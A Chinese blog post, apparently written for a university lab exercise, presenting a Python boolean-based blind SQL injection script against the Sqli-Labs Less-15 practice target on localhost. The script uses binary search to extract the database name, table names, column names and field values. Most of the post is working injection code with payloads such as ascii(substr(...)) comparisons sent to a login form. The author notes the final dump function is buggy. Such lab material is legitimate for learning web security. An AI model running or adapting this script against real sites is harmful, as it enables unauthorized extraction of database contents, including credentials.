【Python】面向Sqli-Labs Less15的布尔盲注二分法脚本

news2025/7/26 22:03:30

前言

其实写这个python脚本是为了完成我某节课的某个实验

 代码里有一堆一堆的for循环,导致程序整个运行下来起码需要一个小时,而且还是基于二分法的qwq。本来想说去学一学python的多线程提升一下效率,但我发现我这代码一环扣一环,也没法用多线程并发。。那就算了吧

编程思路

思路就是按照普普通通的sql盲注的思路编写:

1、测试数据库名的长度(length()函数)

def db_length(url):
    global n
    print("----------测试数据库库名长度中----------")
    for i in range(10):
        payload="admin' and length(database())=%d#" % (i)
        param={"uname":payload,"passwd":"123"}
        res=requests.post(url,data=param)
        if "flag" in res.text:#有flag代表成功
            break
    print("数据库库名长度为%d" % i)
    n=i

2、用二分法爆数据库名(ascii()、substr()函数)

def db_name(url):
    print("----------读取数据库库名中----------")
    result=''
    for i in range(1,n+1):#使用二分法
        low=32
        high=128
        mid=(low+high)//2
        while (low<high):
            payload="admin' and ascii(substr(database(),%d,1))<%d#" % (i,mid)
            param = {"uname": payload, "passwd": "123"}
            res = requests.post(url, data=param)
            if "flag" in res.text:
                high=mid
            else:
                low=mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
        # break直接跳出来最外面的for循环
            break
        result=result+chr(mid-1)
    print("数据库名为:"+result)

3、测试表的数量

def table_num(url):
    global tablenum
    print("----------测试数据库表的数量中----------")
    for i in range(10):
        payload = "admin' and (select count(table_name) from information_schema.tables where table_schema=database())=%d#" % (i)
        param = {"uname": payload, "passwd": "123"}
        res = requests.post(url, data=param)
        if "flag" in res.text:
            break
    print("数据库共有%d个表" % i)
    tablenum=i

4、测试每个表的表名长度

def table_length(url):
    # tablenum=4
    global tablelen
    print("----------测试各个表的表名长度中----------")
    tablelen = []
    for i in range(tablenum):
        for j in range(1,10):
            payload = "admin' and length(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),1))=%d#" % (i,j)
            param = {"uname": payload, "passwd": "123"}
            res = requests.post(url, data=param)
            if "flag" in res.text:
                tablelen.append(j)
                break
    print(tablelen)
    

5、读取表名

def table_name(url):
    global tables
    # tablelen=[6, 8, 7, 5]
    print("----------读取表名中----------")
    tables = []
    tindex=0
    for item in tablelen:
        result=""
        for i in range(1, item + 1):
            low = 32
            high = 128
            mid = (low + high) // 2
            while (low < high):
                payload = "admin' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))<%d#" % (tindex,i, mid)
                param = {"uname": payload, "passwd": "123"}
                res = requests.post(url, data=param)
                if "flag" in res.text:
                    high = mid
                else:
                    low = mid + 1
                mid = (low + high) // 2
            if mid <= 32 or mid >= 127:
            # break直接跳出来最外面的for循环
                break
            result = result + chr(mid - 1)
        tindex=tindex+1
        tables.append(result)
    print("表名为:",end='')
    

6、测试每张表里的字段数量

def column_num(url):
    # tables=['emails', 'referers', 'uagents', 'users']
    global columnnum
    columnnum=[]
    print("----------测试数据库每张表中字段的数量中----------")
    for table in tables:
        for i in range(20):
            payload = "admin' and (select count(column_name) from information_schema.columns where table_name='%s')=%d#" % (table,i)
            param = {"uname": payload, "passwd": "123"}
            res = requests.post(url, data=param)
            if "flag" in res.text:
                columnnum.append(i)
                break
        print("%s表共有%d个字段" % (table,i))

7、测试各个字段的长度

def column_length(url):
    global columnlen
    # columnnum=[2,3,4,11]
    # tables = ['emails', 'referers', 'uagents', 'users']
    print("----------测试各个表中每个字段的字段名长度中----------")
    columnlen = []
    k=0
    for table in tables:
        m=columnnum[k]
        for i in range(m):
            for j in range(1, 20):
                payload = "admin' and length(substr((select column_name from information_schema.columns where table_name='%s' limit %d,1),1))=%d#" % (table,i, j)
                param = {"uname": payload, "passwd": "123"}
                res = requests.post(url, data=param)
                if "flag" in res.text:
                    print("表名:%s  字段标号:%d  字段长度:%d" % (table,i+1,j))
                    columnlen.append(j)
                    break
        k=k+1
        columnlen.append('|')
    print(columnlen)

8、读取字段名

def column_name(url):
    # columnlen=[2, 8, '|', 2, 7, 10, '|', 2, 6, 10, 8, '|', 7, 10, 9, 4, 8, 6, 10, 12, 2, 8, 8, '|']
    # columnnum = [2, 3, 4, 11]
    # tables = ['emails', 'referers', 'uagents', 'users']
    print("----------读取字段名中----------")
    l=0#用于cindex的range范围的下标
    global columns
    columns=[]
    copycolumnlen=columnlen
    for table in tables:
        SpColumnLen = []
        for k in range(len(copycolumnlen)):#根据 | 分离出每张表不同字段的长度列表
            tmp=copycolumnlen[k]
            SpColumnLen.append(tmp)

            if copycolumnlen[k] == '|':
                SpColumnLen.pop()
                copycolumnlen[0:k+1]=[]
                break

        # print(SpColumnLen)
        for cindex in range(columnnum[l]):
            # for item in SpColumnLen:
            item=SpColumnLen[cindex]
            result = ""
            for i in range(1, item + 1):
                low = 32
                high = 128
                mid = (low + high) // 2
                while (low < high):
                    payload = "admin' and ascii(substr((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d))<%d#" % (table,cindex, i, mid)
                    param = {"uname": payload, "passwd": "123"}
                    res = requests.post(url, data=param)
                    if "flag" in res.text:
                        high = mid
                    else:
                        low = mid + 1
                    mid = (low + high) // 2

                if mid <= 32 or mid >= 127:
                    # break直接跳出来最外面的for循环
                    break
                print(chr((mid-1)))
                result = result + chr(mid - 1)

            columns.append(result)
            print("表名为:%s  字段名为:%s" % (table,result))

        l=l+1
        columns.append('|')
        print(columns)

9、读取字段值

这里我的代码有点问题,导致最后只能输出email表id字段的值和email_id的部分值,其实我是有点想法的,可能需要在for循环里再加一层嵌套去测试这个字段的值的数量(count),再根据数量去读取具体的值,但我实在是心力憔悴,暂且先摆放在这当作一个思路参考吧= =

def dump(url):
    print("----------读取字段值中----------")
    # tables = ['emails', 'referers', 'uagents', 'users']
    # columnnum = [2, 3, 4, 11]
    # columns = ['id', 'email_id', '|', 'id', 'referer', 'ip_address', '|', 'id', 'uagent', 'ip_address', 'username', '|', 'user_id', 'first_name', 'last_name', 'user', 'password', 'avatar', 'last_login', 'failed_login', 'id', 'username', 'password', '|']
    copycolumns=columns
    l=0
    global ValueLen
    for table in tables:
        SpColumn = []

        for k in range(len(copycolumns)):  # 根据 | 分离出每张表不同字段的名字
            tmp = copycolumns[k]
            SpColumn.append(tmp)

            if copycolumns[k] == '|':
                SpColumn.pop()
                copycolumns[0:k + 1] = []
                break
        print(SpColumn)
        for cindex in range(columnnum[l]):
            column=SpColumn[cindex]
            print(column)
            ans=""
            for j in range(1, 500):
                payload = "admin' and length(substr((select %s from %s limit %d,1),1))=%d#" % (column,table,cindex, j)
                param = {"uname": payload, "passwd": "123"}
                res = requests.post(url, data=param)
                if "flag" in res.text:
                    ValueLen=j  #不同字段值的长度
                    print("Valuelen="+str(ValueLen))
                    break
            # print(ValueLen)

            for i in range(1, ValueLen + 1):
                # print(i)
                low = 32
                high = 128
                mid = (low + high) // 2
                while (low < high):
                    payload = "admin' and ascii(substr((select %s from %s limit 0,1),%d,1))<%d#" % (column,table, i, mid)
                    param = {"uname": payload, "passwd": "123"}
                    res = requests.post(url, data=param)
                    if "flag" in res.text:
                        high = mid
                    else:
                        low = mid + 1
                    mid = (low + high) // 2

                if mid <= 32 or mid >= 127:
                    # break直接跳出来最外面的for循环
                    break
                ans = ans + chr(mid - 1)
                # print(ans)

            print("表名为:%s  字段名为:%s  字段值为:%s" % (table, column,ans))
        l = l + 1

实验结果

 

 后面的字段的值出不来就没有截图了

 

 

源代码 

 里面一些参数的注释是我在一个个测试函数的时候用的,可以当作个答案参考吧

import requests
import time
url='http://127.0.0.1/bachang/sqli-labs-master/Less-15/'



def db_length(url):
    global n
    print("----------测试数据库库名长度中----------")
    for i in range(10):
        payload="admin' and length(database())=%d#" % (i)
        param={"uname":payload,"passwd":"123"}
        res=requests.post(url,data=param)
        if "flag" in res.text:#有flag代表成功
            break
    print("数据库库名长度为%d" % i)
    n=i

def db_name(url):
    print("----------读取数据库库名中----------")
    result=''
    for i in range(1,n+1):#使用二分法
        low=32
        high=128
        mid=(low+high)//2
        while (low<high):
            payload="admin' and ascii(substr(database(),%d,1))<%d#" % (i,mid)
            param = {"uname": payload, "passwd": "123"}
            res = requests.post(url, data=param)
            if "flag" in res.text:
                high=mid
            else:
                low=mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
        # break直接跳出来最外面的for循环
            break
        result=result+chr(mid-1)
    print("数据库名为:"+result)

def table_num(url):
    global tablenum
    print("----------测试数据库表的数量中----------")
    for i in range(10):
        payload = "admin' and (select count(table_name) from information_schema.tables where table_schema=database())=%d#" % (i)
        param = {"uname": payload, "passwd": "123"}
        res = requests.post(url, data=param)
        if "flag" in res.text:
            break
    print("数据库共有%d个表" % i)
    tablenum=i

def table_length(url):
    # tablenum=4
    global tablelen
    print("----------测试各个表的表名长度中----------")
    tablelen = []
    for i in range(tablenum):
        for j in range(1,10):
            payload = "admin' and length(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),1))=%d#" % (i,j)
            param = {"uname": payload, "passwd": "123"}
            res = requests.post(url, data=param)
            if "flag" in res.text:
                tablelen.append(j)
                break
    print(tablelen)
    return tablelen
def table_name(url):
    global tables
    # tablelen=[6, 8, 7, 5]
    print("----------读取表名中----------")
    tables = []
    tindex=0
    for item in tablelen:
        result=""
        for i in range(1, item + 1):
            low = 32
            high = 128
            mid = (low + high) // 2
            while (low < high):
                payload = "admin' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))<%d#" % (tindex,i, mid)
                param = {"uname": payload, "passwd": "123"}
                res = requests.post(url, data=param)
                if "flag" in res.text:
                    high = mid
                else:
                    low = mid + 1
                mid = (low + high) // 2
            if mid <= 32 or mid >= 127:
            # break直接跳出来最外面的for循环
                break
            result = result + chr(mid - 1)
        tindex=tindex+1
        tables.append(result)
    print("表名为:",end='')
    print(tables)


def column_num(url):
    # tables=['emails', 'referers', 'uagents', 'users']
    global columnnum
    columnnum=[]
    print("----------测试数据库每张表中字段的数量中----------")
    for table in tables:
        for i in range(20):
            payload = "admin' and (select count(column_name) from information_schema.columns where table_name='%s')=%d#" % (table,i)
            param = {"uname": payload, "passwd": "123"}
            res = requests.post(url, data=param)
            if "flag" in res.text:
                columnnum.append(i)
                break
        print("%s表共有%d个字段" % (table,i))

def column_length(url):
    global columnlen
    # columnnum=[2,3,4,11]
    # tables = ['emails', 'referers', 'uagents', 'users']
    print("----------测试各个表中每个字段的字段名长度中----------")
    columnlen = []
    k=0
    for table in tables:
        m=columnnum[k]
        for i in range(m):
            for j in range(1, 20):
                payload = "admin' and length(substr((select column_name from information_schema.columns where table_name='%s' limit %d,1),1))=%d#" % (table,i, j)
                param = {"uname": payload, "passwd": "123"}
                res = requests.post(url, data=param)
                if "flag" in res.text:
                    print("表名:%s  字段标号:%d  字段长度:%d" % (table,i+1,j))
                    columnlen.append(j)
                    break
        k=k+1
        columnlen.append('|')
    # print(columnlen)

def column_name(url):
    # columnlen=[2, 8, '|', 2, 7, 10, '|', 2, 6, 10, 8, '|', 7, 10, 9, 4, 8, 6, 10, 12, 2, 8, 8, '|']
    # columnnum = [2, 3, 4, 11]
    # tables = ['emails', 'referers', 'uagents', 'users']
    print("----------读取字段名中----------")
    l=0#用于cindex的range范围的下标
    global columns
    columns=[]
    copycolumnlen=columnlen
    for table in tables:
        SpColumnLen = []
        for k in range(len(copycolumnlen)):#根据 | 分离出每张表不同字段的长度列表
            tmp=copycolumnlen[k]
            SpColumnLen.append(tmp)

            if copycolumnlen[k] == '|':
                SpColumnLen.pop()
                copycolumnlen[0:k+1]=[]
                break

        # print(SpColumnLen)
        for cindex in range(columnnum[l]):
            # for item in SpColumnLen:
            item=SpColumnLen[cindex]
            result = ""
            for i in range(1, item + 1):
                low = 32
                high = 128
                mid = (low + high) // 2
                while (low < high):
                    payload = "admin' and ascii(substr((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d))<%d#" % (table,cindex, i, mid)
                    param = {"uname": payload, "passwd": "123"}
                    res = requests.post(url, data=param)
                    if "flag" in res.text:
                        high = mid
                    else:
                        low = mid + 1
                    mid = (low + high) // 2

                if mid <= 32 or mid >= 127:
                    # break直接跳出来最外面的for循环
                    break
                # print(chr((mid-1)))
                result = result + chr(mid - 1)

            columns.append(result)
            print("表名为:%s  字段名为:%s" % (table,result))

        l=l+1
        columns.append('|')
        # print(columns)


def dump(url):
    print("----------读取字段值中----------")
    # tables = ['emails', 'referers', 'uagents', 'users']
    # columnnum = [2, 3, 4, 11]
    # columns = ['id', 'email_id', '|', 'id', 'referer', 'ip_address', '|', 'id', 'uagent', 'ip_address', 'username', '|', 'user_id', 'first_name', 'last_name', 'user', 'password', 'avatar', 'last_login', 'failed_login', 'id', 'username', 'password', '|']
    copycolumns=columns
    l=0
    global ValueLen
    for table in tables:
        SpColumn = []

        for k in range(len(copycolumns)):  # 根据 | 分离出每张表不同字段的名字
            tmp = copycolumns[k]
            SpColumn.append(tmp)

            if copycolumns[k] == '|':
                SpColumn.pop()
                copycolumns[0:k + 1] = []
                break
        print(SpColumn)
        for cindex in range(columnnum[l]):
            column=SpColumn[cindex]
            print(column)
            ans=""
            for j in range(1, 500):
                payload = "admin' and length(substr((select %s from %s limit %d,1),1))=%d#" % (column,table,cindex, j)
                param = {"uname": payload, "passwd": "123"}
                res = requests.post(url, data=param)
                if "flag" in res.text:
                    ValueLen=j  #不同字段值的长度
                    print("Valuelen="+str(ValueLen))
                    break
            # print(ValueLen)

            for i in range(1, ValueLen + 1):
                # print(i)
                low = 32
                high = 128
                mid = (low + high) // 2
                while (low < high):
                    payload = "admin' and ascii(substr((select %s from %s limit 0,1),%d,1))<%d#" % (column,table, i, mid)
                    param = {"uname": payload, "passwd": "123"}
                    res = requests.post(url, data=param)
                    if "flag" in res.text:
                        high = mid
                    else:
                        low = mid + 1
                    mid = (low + high) // 2

                if mid <= 32 or mid >= 127:
                    # break直接跳出来最外面的for循环
                    break
                ans = ans + chr(mid - 1)
                # print(ans)

            print("表名为:%s  字段名为:%s  字段值为:%s" % (table, column,ans))
        l = l + 1

if __name__ == '__main__':
    time_start = time.time()  # 记录开始时间
    db_length(url)
    db_name(url)
    table_num(url)
    table_length(url)
    table_name(url)
    column_num(url)
    column_length(url)
    column_name(url)
    dump(url)
    time_end = time.time()  # 记录结束时间
    time_sum = time_end - time_start  # 计算的时间差为程序的执行时间,单位为秒/s
    print(time_sum)#单位为s
    print(time_sum/60)#单位为m

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/16757.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于PHP+MySQL的在线学习网站系统

随着我国教育体制的改革,我国大学生的数量越来越多。相对应的对我国的教育质量也提出了新的要求。如果仅仅是在课堂上学习那些有限的知识已经不能够再满足大学生对知识的渴望了。为了能够让大学生学习到更多的内容需要一个在线学习系统来辅助大学生进行学习。 PHP在线学习网站系…

点阵 LED 显示设计实验

一、实验目的&#xff1a; 1.了解LED点阵的基本结构。 2.学习LED点阵扫描显示程序的设计方法。 二、实验内容与要求&#xff1a; 编写程序&#xff0c;控制点阵向上卷动显示“原来如此是这样呀”。 实验系统中的1616 LED点阵由四块88LED点阵组成&#xff0c;如图1所示&…

[附源码]SSM计算机毕业设计作业自动评阅系统JAVA

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

【多标签文本分类】《融合注意力与CorNet的多标签文本分类》

阅读摘要&#xff1a;   本文主要提出标签与文本注意力文本注意力、CorNet增强标签预测概率两个创新点&#xff0c;提升了实验精度。 参考文献&#xff1a;   [1] 融合注意力与CorNet的多标签文本分类 参考论文信息 论文名称&#xff1a;《融合注意力与CorNet的多标签文本分…

2.10 80%的小红书新手博主都会忽略的问题:排版【玩赚小红书】

其实&#xff0c;不管在哪一个平台发布作品&#xff0c;都需要注重排版。 因为舒服的排版&#xff0c;不仅能让读者视觉舒服&#xff0c;而且也是你重新检查作品逻辑是不是清晰的过程。 比如&#xff0c;你看下面这张对比图&#xff0c;从读者角度来看&#xff0c;你更喜欢排…

人类小脑内在组织背后的基因图谱

摘要 人类小脑的功能多样性在很大程度上被认为更多地来自于其广泛的联系&#xff0c;而不是局限于其部分不变的结构。然而&#xff0c;小脑内在组织中连接的确定是否以及如何与微尺度基因表达相互作用仍不清楚。在这里&#xff0c;我们通过研究同时连接小脑功能异质性及其驱动因…

【快速上手系列】使用idea调百度AI接口实现人脸识别功能

【快速上手系列】使用idea调百度AI接口实现人脸识别功能 一、人脸检测 步骤 1、百度AI开放平台 登录后点击控制台 点击公有云服务——应用列表——点击创建应用 填写一下信息然后创建 然后回到概览——领取免费资源&#xff08;如果账号没领取过的话&#xff09; 可以自选&…

[Java] [Spring boot] Mybatis generator 生成Mapper.xml无效的问题

报错&#xff1a;org.apache.ibatis.binding.BindingException: Invalid bound statement (not found): 百度出来的解决方案&#xff1a; 1&#xff1a;Mapper.xml中的namespace不对应和mapper接口不对应 2&#xff1a;Mapper.xml中的方法(即id)和mapper接口中的方法名字不同或…

使用 nexus 作为 npm 私服

背景: 之前公司内部是使用的 verdaccio 作为私有前端 npm 仓库的工具的, 由于最近安装包时总是遇到问题, 发包 和 安装都比较慢, 不太确定具体是什么问题 几经解决还是没能够解决掉, 索性换一个工具试试, 公司后端的 maven 库私服是使用的 nexus, 找资料时发现 nexus 也是可…

C++,STL,,vector容器

文章目录一、vector介绍1.vector对象构造2.vector的赋值3.vector的大小4.vector末尾的添加移除操作5.vector的数据存取6.vector的插入7.vector的删除8.vector迭代器一、vector介绍 vector相当于顺序表 vector是将元素置于一个动态数组中加以管理的容器。 vector可以随机存取元…

天元宠物上市首日破发:市值蒸发约5亿元,薛元潮兄妹为实控人

11月18日&#xff0c;杭州天元宠物用品股份有限公司&#xff08;下称“天元宠物”&#xff0c;SZ:301335&#xff09;在深圳证券交易所创业板上市。本次上市&#xff0c;天元宠物的发行价格为49.98元/股&#xff0c;发行数量为2250万股&#xff0c;募资总额约为11.25亿元&#…

华玉通软发布“云雀”执行管理中间件,为智能驾驶关键应用提供确定性执行保障

11月17日&#xff0c;华玉通软&#xff08;下称“华玉”&#xff09;宣布正式发布“云雀”执行管理中间件&#xff08;LARK EM Execution Management&#xff09;。 这是继“雨燕”通信中间件&#xff08;SWIFT DDS&#xff09;后&#xff0c;华玉的又一款完全自主研发的智能驾…

[iOS]分析Mach-O文件

一、Mach-O文件介绍 我们拿到IPA文件后&#xff0c;解压后就能拿到一个与APP同名的可执行文件。 Mach-O为Mach Object文件格式的缩写&#xff0c;它是一种用于可执行文件&#xff0c;目标代码&#xff0c;动态库&#xff0c;内核转储的文件格式。 每个Mach-O文件包括一个Mach-…

Design A NearBy Friends

title: Notes of System Design No.09 — Design a Uber backend description: Design a PasteBin ’ date: 2022-05-13 18:01:58 tags: 系统设计 categories: 系统设计 00. What is Newarby Friends? 01.Functional Requirement 02. Non-Functional Requirement 03. Assump…

Java新特性(2):Java 10以后

您好&#xff0c;我是湘王&#xff0c;这是我的CSDN博客&#xff0c;欢迎您来&#xff0c;欢迎您再来&#xff5e; 虽然到目前为止Java的版本更新还没有什么惊天动地的改变&#xff0c;但总是会冒出一些有趣的小玩意。前面列举了Java9和Java10的一些特色&#xff0c;现在接着来…

shell修改永久性别名,压缩与解压缩(zip gzip bzip2)文件上传预下载(sftp)

命令别名&#xff08;永久有效&#xff09; 敲重点&#xff08;写入文件&#xff09;&#xff08;1&#xff09;仅对root有效&#xff0c;写一个命令命为hello,实现的功能为每输入一次hello命令&#xff0c;就有hello&#xff0c;everyone写入文件/file.txt中。 root用户…

[UE][C++]Assimp库安装编译,UE_Assimp插件安装使用,各种三维格式转换

[UE][C]Assimp库安装编译&#xff0c;UE_Assimp插件安装使用&#xff0c;各种三维格式转换写在前面1.作者碎碎念2.结果1.需要准备的软件2.Assimp库编译步骤3.UE_Assimp插件的安装4.UE_Assimp插件样例使用5.Assimp库各种三维格式转换小程序写在前面 1.作者碎碎念 &#xff08;…

ElasticSearch 拼音插件elasticsearch-analysis-pinyin + IK 分词器

ElasticSearch kibana 部署略 创建索引 PUT /nba_20220101 {"mappings": {"properties": {"age": {"type": "integer"},"birthDay": {"type": "date"},"birthDayStr": {"t…

软件方面的文档标准GB/T

在文档标准方面&#xff0c;主要有《软件文档管理指南》&#xff08;GB/T 16680-1996&#xff09;、《计算机软件产品开发文件编制指南》&#xff08;GB/T 8567-2006&#xff09;和《计算机软件需求说明编制指南》&#xff08;GB/T 9385-2008&#xff09;等三个标准。 1. GB/T…

C语言源代码系列-管理系统之学生信息管理系统

往期文章分享点击跳转>《导航贴》- Unity手册&#xff0c;系统实战学习点击跳转>《导航贴》- Android手册&#xff0c;重温移动开发 &#x1f449;关于作者 众所周知&#xff0c;人生是一个漫长的流程&#xff0c;不断克服困难&#xff0c;不断反思前进的过程。在这个过…